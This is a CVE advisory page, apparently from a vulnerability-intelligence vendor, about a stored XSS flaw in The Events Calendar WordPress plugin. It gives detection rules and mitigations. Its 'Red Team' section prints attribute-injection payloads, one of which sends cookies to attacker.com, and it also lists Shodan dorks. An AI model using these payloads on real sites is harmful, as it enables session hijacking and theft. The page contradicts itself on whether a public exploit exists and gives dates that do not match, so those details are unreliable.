☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5144

CVE-2025-5144 Cross-Site Scripting in The events calendar
📅 PUBLISHED: 2025-06-11 12:22 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
4.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5144 is a Stored Cross-Site Scripting (XSS) vulnerability in The Events Calendar plugin for WordPress, affecting all versions up to and including 6.13.2. The flaw resides in insufficient sanitization of the data-date-* parameters, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses a page containing the malicious event data. With a CVSS score of 6.4 (Medium), the vulnerability poses a significant risk to WordPress sites using this plugin, potentially leading to session hijacking, data theft, or defacement. No public exploit code or patch is currently available, but the risk is elevated due to the plugin’s widespread use.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is easily exploitable once access is obtained. The stored XSS can affect all site visitors, making it a vector for phishing, credential theft, or malware distribution.

Deep Dive & Mechanics

The vulnerability exists in the The Events Calendar plugin’s handling of event date attributes. The plugin uses data-date-* HTML attributes to store date-related metadata for events. When an authenticated user with Contributor-level access or higher creates or edits an event, the plugin fails to properly sanitize and escape the values passed to these attributes. This allows an attacker to inject malicious JavaScript code within the attribute values.

Attack Flow:

  1. An attacker with Contributor-level access logs into the WordPress admin panel.
  2. The attacker creates a new event or edits an existing one.
  3. In the event’s date fields (e.g., start date, end date), the attacker injects a payload like " onfocus="alert(1)" autofocus="true" or a more sophisticated XSS vector.
  4. The plugin stores the event with the malicious payload in the data-date-* attributes.
  5. When any user (including administrators or visitors) views the event page, the browser parses the injected attributes, executing the attacker’s script.

Root Cause: Insufficient input sanitization and output escaping in the plugin’s date handling functions. The plugin does not validate or escape the data-date-* attribute values, allowing arbitrary HTML attribute injection.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

// In the plugin's template file (e.g., single-event.php)
echo '<div data-date-start="' . $event_start_date . '" data-date-end="' . $event_end_date . '">';

Patched Code (Expected):

// Properly escape output
echo '<div data-date-start="' . esc_attr( $event_start_date ) . '" data-date-end="' . esc_attr( $event_end_date ) . '">';

The patched version uses esc_attr() to escape the attribute values, preventing injection of additional attributes or JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with The Events Calendar plugin <= 6.13.2
  • Authenticated user with Contributor-level access or higher

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Navigate to Events > Add New.
  3. In the event date fields, inject a payload. For example, in the "Start Date" field, enter:
    " onfocus="alert(document.cookie)" autofocus="true"
    
  4. Publish the event.
  5. When any user visits the event page, the script executes.

Example Payload (for session hijacking):

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"

Blue Team (Detection & Mitigation)

Detection:

  • Monitor WordPress admin logs for unusual event creation or editing by low-privilege users.
  • Scan event content for suspicious data-date-* attributes containing JavaScript event handlers (e.g., onfocus, onmouseover).

Mitigation:

  • Immediately restrict Contributor-level access if not required.
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in event date fields.
  • Apply the principle of least privilege; only grant necessary roles.

Indicators of Compromise (IOCs)

  • File-based IOCs:

    • Modified event entries in the wp_posts table with post_type = 'tribe_events' containing suspicious data-date-* attributes.
    • Presence of JavaScript event handlers (e.g., onfocus, onmouseover) in event meta fields.
  • Network-based IOCs:

    • Outbound HTTP requests to external domains from the WordPress server, especially from event pages.
    • Unusual POST requests to wp-admin/admin-ajax.php with event data containing script tags.
  • Log-based IOCs:

    • Repeated event creation/editing by the same user in a short time frame.
    • Error logs showing failed sanitization attempts or unusual attribute values.

Detection Engineering

YARA Rule

rule CVE_2025_5144_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in The Events Calendar plugin data-date-* attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5144"
    strings:
        $xss_payload = /data-date-(start|end)\s*=\s*"[^"]*"(?:\s+[a-zA-Z]+="[^"]*")*\s+on\w+\s*=\s*"[^"]*"/i
    condition:
        $xss_payload
}

Sigma Rule

title: Stored XSS via The Events Calendar Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in The Events Calendar plugin using data-date-* attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'tribe_events'
        cs-uri-query|re: 'data-date-(start|end)=[^&]*on\w+='
    condition: selection
falsepositives:
    - Legitimate use of event handlers in event descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5144 Stored XSS in The Events Calendar"; flow:to_server,established; content:"POST"; http_method; content:"tribe_events"; http_uri; pcre:"/data-date-(start|end)=[^&]*on\w+=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations until a patch is released.
  2. Restrict user roles: Remove Contributor-level access from untrusted users. Only grant Editor or Administrator roles to trusted personnel.
  3. Implement a WAF rule to block requests containing data-date-* with JavaScript event handlers.

Long-term Fix:

  • Monitor the plugin’s official repository for a patched version (expected > 6.13.2).
  • Apply the patch as soon as it becomes available.
  • Conduct a security audit of all custom event data to ensure no malicious payloads exist.

Workaround:

  • Use a content security policy (CSP) header to block inline JavaScript execution:
    Content-Security-Policy: script-src 'self';
    
  • This will prevent injected scripts from executing, though it may break legitimate plugin functionality.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Events Calendar"
http.html:"tribe-events"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5144/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.